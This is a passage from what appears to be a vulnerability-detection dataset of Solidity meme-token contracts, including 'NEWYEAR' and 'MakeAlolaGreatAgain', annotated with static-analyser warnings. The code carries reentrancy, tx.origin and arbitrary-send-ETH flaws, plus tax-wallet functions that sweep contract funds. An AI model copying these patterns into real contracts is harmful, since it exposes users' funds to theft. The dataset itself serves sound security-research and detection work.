or tokens.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: a0746fd): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for a0746fd: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n if (_buyCount == 0) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n }\n\n if (_buyCount > 0) {\n taxAmount = amount.mul(_transferTax).div(100);\n }\n\n\t\t\t// incorrect-equality | ID: b8f9467\n if (block.number == firstBlock) {\n require(_buyCount < 35, \"Exceeds buys on the first block.\");\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: a0006b1\n\t\t\t\t// reentrancy-eth | ID: a0746fd\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: a0006b1\n\t\t\t\t\t// reentrancy-eth | ID: a0746fd\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: a0746fd\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: a0746fd\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: a0746fd\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: a0006b1\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: a0746fd\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: a0746fd\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: a0006b1\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: a0006b1\n\t\t// reentrancy-events | ID: 0c4d506\n\t\t// reentrancy-benign | ID: 2ed64cd\n\t\t// reentrancy-eth | ID: a0746fd\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimit() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function removeTransferTax() external onlyOwner {\n _transferTax = 0;\n\n emit TransferTaxUpdated(0);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 5e9262d): NEWYEAR.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for 5e9262d: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: a0006b1\n\t\t// reentrancy-events | ID: 0c4d506\n\t\t// reentrancy-eth | ID: a0746fd\n\t\t// arbitrary-send-eth | ID: 5e9262d\n _taxWallet.transfer(amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: a7efb06): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for a7efb06: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: cd19d4f): NEWYEAR.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for cd19d4f: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 3e8d5ba): NEWYEAR.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 3e8d5ba: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 8cd1c0d): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 8cd1c0d: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: a7efb06\n\t\t// reentrancy-eth | ID: 8cd1c0d\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: a7efb06\n\t\t// unused-return | ID: cd19d4f\n\t\t// reentrancy-eth | ID: 8cd1c0d\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: a7efb06\n\t\t// unused-return | ID: 3e8d5ba\n\t\t// reentrancy-eth | ID: 8cd1c0d\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: a7efb06\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 8cd1c0d\n tradingOpen = true;\n\n\t\t// reentrancy-benign | ID: a7efb06\n firstBlock = block.number;\n }\n\n receive() external payable {}\n\n function adjustFee(uint256 _newFee) external {\n require(_msgSender() == _taxWallet);\n\n require(_newFee <= _finalBuyTax && _newFee <= _finalSellTax);\n\n _finalBuyTax = _newFee;\n\n _finalSellTax = _newFee;\n }\n\n function manualTokenSend(\n address tokenAddress,\n uint256 tokens\n ) external returns (bool success) {\n require(_msgSender() == _taxWallet);\n\n if (tokens == 0) {\n tokens = IERC20(tokenAddress).balanceOf(address(this));\n }\n\n emit ClearToken(tokenAddress, tokens);\n\n return IERC20(tokenAddress).transfer(_taxWallet, tokens);\n }\n\n function manualETHSend() external {\n require(_msgSender() == _taxWallet);\n\n uint256 ethBalance = address(this).balance;\n\n require(ethBalance > 0, \"Contract balance must be greater than zero\");\n\n sendETHToFee(ethBalance);\n }\n}\n",
"file_name": "solidity_code_10834.sol",
"size_bytes": 20648,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract MakeAlolaGreatAgain is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n mapping(address => uint256) private _holderLastTransferTimestamp;\n\n bool public transferDelayEnabled = true;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 8d97f98): MakeAlolaGreatAgain._taxWallet should be immutable \n\t// Recommendation for 8d97f98: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: 8ed5b6a): MakeAlolaGreatAgain._initialBuyTax should be constant \n\t// Recommendation for 8ed5b6a: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: fa57c3e): MakeAlolaGreatAgain._initialSellTax should be constant \n\t// Recommendation for fa57c3e: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 25;\n\n\t// WARNING Optimization Issue (constable-states | ID: 4172db8): MakeAlolaGreatAgain._finalBuyTax should be constant \n\t// Recommendation for 4172db8: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 271c0bf): MakeAlolaGreatAgain._finalSellTax should be constant \n\t// Recommendation for 271c0bf: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: f96e5d8): MakeAlolaGreatAgain._reduceBuyTaxAt should be constant \n\t// Recommendation for f96e5d8: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: 77e05ed): MakeAlolaGreatAgain._reduceSellTaxAt should be constant \n\t// Recommendation for 77e05ed: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: b4a9aec): MakeAlolaGreatAgain._preventSwapBefore should be constant \n\t// Recommendation for b4a9aec: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 20;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 1000000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Yungoos Trump\";\n\n string private constant _symbol = unicode\"$MAGA\";\n\n uint256 public _maxTxAmount = 20000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 20000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: ea6a7c5): MakeAlolaGreatAgain._taxSwapThreshold should be constant \n\t// Recommendation for ea6a7c5: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 4000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 49f38c0): MakeAlolaGreatAgain._maxTaxSwap should be constant \n\t// Recommendation for 49f38c0: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 20000000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: b3555ee): MakeAlolaGreatAgain.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for b3555ee: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: d28dbe3): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for d28dbe3: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 6b673fe): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 6b673fe: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: d28dbe3\n\t\t// reentrancy-benign | ID: 6b673fe\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: d28dbe3\n\t\t// reentrancy-benign | ID: 6b673fe\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 4317c0f): MakeAlolaGreatAgain._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 4317c0f: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 6b673fe\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: d28dbe3\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: bdbb915): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for bdbb915: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (tx-origin | severity: Medium | ID: 0ea9f7b): 'tx.origin'-based protection can be abused by a malicious contract if a legitimate user interacts with the malicious contract.\n\t// Recommendation for 0ea9f7b: Do not use 'tx.origin' for authorization.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 8a3c52a): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 8a3c52a: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n if (transferDelayEnabled) {\n if (\n to != address(uniswapV2Router) &&\n to != address(uniswapV2Pair)\n ) {\n\t\t\t\t\t// tx-origin | ID: 0ea9f7b\n require(\n _holderLastTransferTimestamp[tx.origin] < block.number,\n \"_transfer:: Transfer Delay enabled. Only one purchase per block allowed.\"\n );\n\n _holderLastTransferTimestamp[tx.origin] = block.number;\n }\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n\t\t\t\t// reentrancy-events | ID: bdbb915\n\t\t\t\t// reentrancy-eth | ID: 8a3c52a\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 50000000000000000) {\n\t\t\t\t\t// reentrancy-events | ID: bdbb915\n\t\t\t\t\t// reentrancy-eth | ID: 8a3c52a\n sendETHToFee(address(this).balance);\n }\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 8a3c52a\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: bdbb915\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 8a3c52a\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 8a3c52a\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: bdbb915\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: bdbb915\n\t\t// reentrancy-events | ID: d28dbe3\n\t\t// reentrancy-benign | ID: 6b673fe\n\t\t// reentrancy-eth | ID: 8a3c52a\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function RemoveTheLimit() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n transferDelayEnabled = false;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 00a4d8d): MakeAlolaGreatAgain.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for 00a4d8d: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: bdbb915\n\t\t// reentrancy-events | ID: d28dbe3\n\t\t// reentrancy-eth | ID: 8a3c52a\n\t\t// arbitrary-send-eth | ID: 00a4d8d\n _taxWallet.transfer(amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 8903bf2): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 8903bf2: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 75ec28d): MakeAlolaGreatAgain.GetTradingStart() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 75ec28d: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 33471bf): MakeAlolaGreatAgain.GetTradingStart() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 33471bf: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 28b9901): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 28b9901: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function GetTradingStart() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: 8903bf2\n\t\t// reentrancy-eth | ID: 28b9901\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 8903bf2\n\t\t// unused-return | ID: 33471bf\n\t\t// reentrancy-eth | ID: 28b9901\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 8903bf2\n\t\t// unused-return | ID: 75ec28d\n\t\t// reentrancy-eth | ID: 28b9901\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: 8903bf2\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 28b9901\n tradingOpen = true;\n }\n\n receive() external payable {}\n\n function MAGASwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}\n",
"file_name": "solidity_code_10835.sol",
"size_bytes": 20014,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n\n function _msgData() internal view virtual returns (bytes calldata) {\n return msg.data;\n }\n}\n\ninterface IUniswapV2Router02 {\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidity(\n address tokenA,\n address tokenB,\n uint256 amountADesired,\n uint256 amountBDesired,\n uint256 amountAMin,\n uint256 amountBMin,\n address to,\n uint256 deadline\n ) external returns (uint256 amountA, uint256 amountB, uint256 liquidity);\n\n function addLiquidityETH(\n address token,\n uint256 amountTokenDesired,\n uint256 amountTokenMin,\n uint256 amountETHMin,\n address to,\n uint256 deadline\n )\n external\n payable\n returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);\n\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint256 amountIn,\n uint256 amountOutMin,\n address[] calldata path,\n address to,\n uint256 deadline\n ) external;\n}\n\ninterface IUniswapV2Pair {\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n function name() external pure returns (string memory);\n\n function symbol() external pure returns (string memory);\n\n function decimals() external pure returns (uint8);\n\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address owner) external view returns (uint256);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 value) external returns (bool);\n\n function transfer(address to, uint256 value) external returns (bool);\n\n function transferFrom(\n address from,\n address to,\n uint256 value\n ) external returns (bool);\n\n function DOMAIN_SEPARATOR() external view returns (bytes32);\n\n function PERMIT_TYPEHASH() external pure returns (bytes32);\n\n function nonces(address owner) external view returns (uint256);\n\n function permit(\n address owner,\n address spender,\n uint256 value,\n uint256 deadline,\n uint8 v,\n bytes32 r,\n bytes32 s\n ) external;\n\n event Mint(address indexed sender, uint256 amount0, uint256 amount1);\n\n event Swap(\n address indexed sender,\n uint256 amount0In,\n uint256 amount1In,\n uint256 amount0Out,\n uint256 amount1Out,\n address indexed to\n );\n\n event Sync(uint112 reserve0, uint112 reserve1);\n\n function MINIMUM_LIQUIDITY() external pure returns (uint256);\n\n function factory() external view returns (address);\n\n function token0() external view returns (address);\n\n function token1() external view returns (address);\n\n function getReserves()\n external\n view\n returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);\n\n function price0CumulativeLast() external view returns (uint256);\n\n function price1CumulativeLast() external view returns (uint256);\n\n function kLast() external view returns (uint256);\n\n function mint(address to) external returns (uint256 liquidity);\n\n function swap(\n uint256 amount0Out,\n uint256 amount1Out,\n address to,\n bytes calldata data\n ) external;\n\n function skim(address to) external;\n\n function sync() external;\n\n function initialize(address, address) external;\n}\n\ninterface IUniswapV2Factory {\n event PairCreated(\n address indexed token0,\n address indexed token1,\n address pair,\n uint256\n );\n\n function feeTo() external view returns (address);\n\n function feeToSetter() external view returns (address);\n\n function getPair(\n address tokenA,\n address tokenB\n ) external view returns (address pair);\n\n function allPairs(uint256) external view returns (address pair);\n\n function allPairsLength() external view returns (uint256);\n\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n\n function setFeeTo(address) external;\n\n function setFeeToSetter(address) external;\n}\n\nlibrary SafeMath {\n function tryAdd(\n uint256 a,\n uint256 b\n ) internal pure returns (bool, uint256) {\n unchecked {\n uint256 c = a + b;\n\n if (c < a) return (false, 0);\n\n return (true, c);\n }\n }\n\n function trySub(\n uint256 a,\n uint256 b\n ) internal pure returns (bool, uint256) {\n unchecked {\n if (b > a) return (false, 0);\n\n return (true, a - b);\n }\n }\n\n function tryMul(\n uint256 a,\n uint256 b\n ) internal pure returns (bool, uint256) {\n unchecked {\n if (a == 0) return (true, 0);\n\n uint256 c = a * b;\n\n if (c / a != b) return (false, 0);\n\n return (true, c);\n }\n }\n\n function tryDiv(\n uint256 a,\n uint256 b\n ) internal pure returns (bool, uint256) {\n unchecked {\n if (b == 0) return (false, 0);\n\n return (true, a / b);\n }\n }\n\n function tryMod(\n uint256 a,\n uint256 b\n ) internal pure returns (bool, uint256) {\n unchecked {\n if (b == 0) return (false, 0);\n\n return (true, a % b);\n }\n }\n\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n return a + b;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return a - b;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n return a * b;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return a / b;\n }\n\n function mod(uint256 a, uint256 b) internal pure returns (uint256) {\n return a % b;\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) 